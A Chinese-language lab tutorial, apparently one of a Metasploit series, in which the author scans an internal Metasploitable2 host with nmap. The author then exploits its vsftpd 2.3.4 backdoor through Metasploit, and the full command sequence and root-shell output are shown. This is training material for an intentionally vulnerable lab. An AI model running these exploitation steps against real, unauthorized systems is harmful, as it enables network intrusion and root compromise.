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攻击机： Kali 192.168.175.128
靶机： WinXP 192.168.175.130
内网主机： Metasploitable2 192.168.175.131
在上一篇《Metasploit实战三之——使用Metasploit获取目标的控制权限》一文中，我们已经拿下了靶机的控制权限，并通过arp命令得知：内网中有一台IP为192.168.175.131的主机。接下来，我们首先使用NMap对这个主机进行扫描。
1.开启MSF终端
msfconsole2.扫描内网主机
nmap -sV 192.168.175.131结果如下：
msf5 > nmap -sV 192.168.175.131
[*] exec: nmap -sV 192.168.175.131
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-23 12:28 CST
Nmap scan report for 192.168.175.131
Host is up (0.0029s latency).
Not shown: 977 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open tcpwrapped
1099/tcp open rmiregistry GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:CF:F6:AC (VMware)
Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.57 seconds这里，我们利用 vsftpd 2.3.4的漏洞来攻破内网主机。
3.利用利用 vsftpd 2.3.4的漏洞来攻破内网主机
3-1.搜索vsftpd 2.3.4漏洞
这里，使用search vsftpd 2.3.4命令，如下：
msf5 > search vsftpd 2.3.4
Matching Modules
================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
auxiliary/gather/teamtalk_creds normal No TeamTalk Gather Credentials
exploit/multi/http/oscommerce_installer_unauth_code_exec 2018-04-30 excellent Yes osCommerce Installer Unauthenticated Code Execution
exploit/multi/http/struts2_namespace_ognl 2018-08-22 excellent Yes Apache Struts 2 Namespace Redirect OGNL Injection
exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution3-2.准备攻击
这里，我们依次输入以下命令：
search vsftpd 2.3.4
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOSTS 192.168.175.131
show payloads
set payload cmd/unix/interact
exploit具体如下：
msf5 > search vsftpd 2.3.4
Matching Modules
================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
auxiliary/gather/teamtalk_creds normal No TeamTalk Gather Credentials
exploit/multi/http/oscommerce_installer_unauth_code_exec 2018-04-30 excellent Yes osCommerce Installer Unauthenticated Code Execution
exploit/multi/http/struts2_namespace_ognl 2018-08-22 excellent Yes Apache Struts 2 Namespace Redirect OGNL Injection
exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 21 yes The target port (TCP)
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.175.131
RHOSTS => 192.168.175.131
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
Compatible Payloads
===================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
cmd/unix/interact normal No Unix Command, Interact with Established Connection
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set payload cmd/unix/interact
payload => cmd/unix/interact
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.175.131:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.175.131:21 - USER: 331 Please specify the password.
[+] 192.168.175.131:21 - Backdoor service has been spawned, handling...
[+] 192.168.175.131:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.175.128:44413 -> 192.168.175.131:6200) at 2019-01-23 14:00:16 +0800
ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:cf:f6:ac
inet addr:192.168.175.131 Bcast:192.168.175.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fecf:f6ac/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:5408 errors:0 dropped:0 overruns:0 frame:0
TX packets:2778 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:368033 (359.4 KB) TX bytes:249606 (243.7 KB)
Interrupt:19 Base address:0x2000
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:766 errors:0 dropped:0 overruns:0 frame:0
TX packets:766 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:349561 (341.3 KB) TX bytes:349561 (341.3 KB)这样，我们就通过NMap扫描目标主机，并通过Metasploit攻击vsftpd 2.3.4漏洞拿下了内网服务器的权限。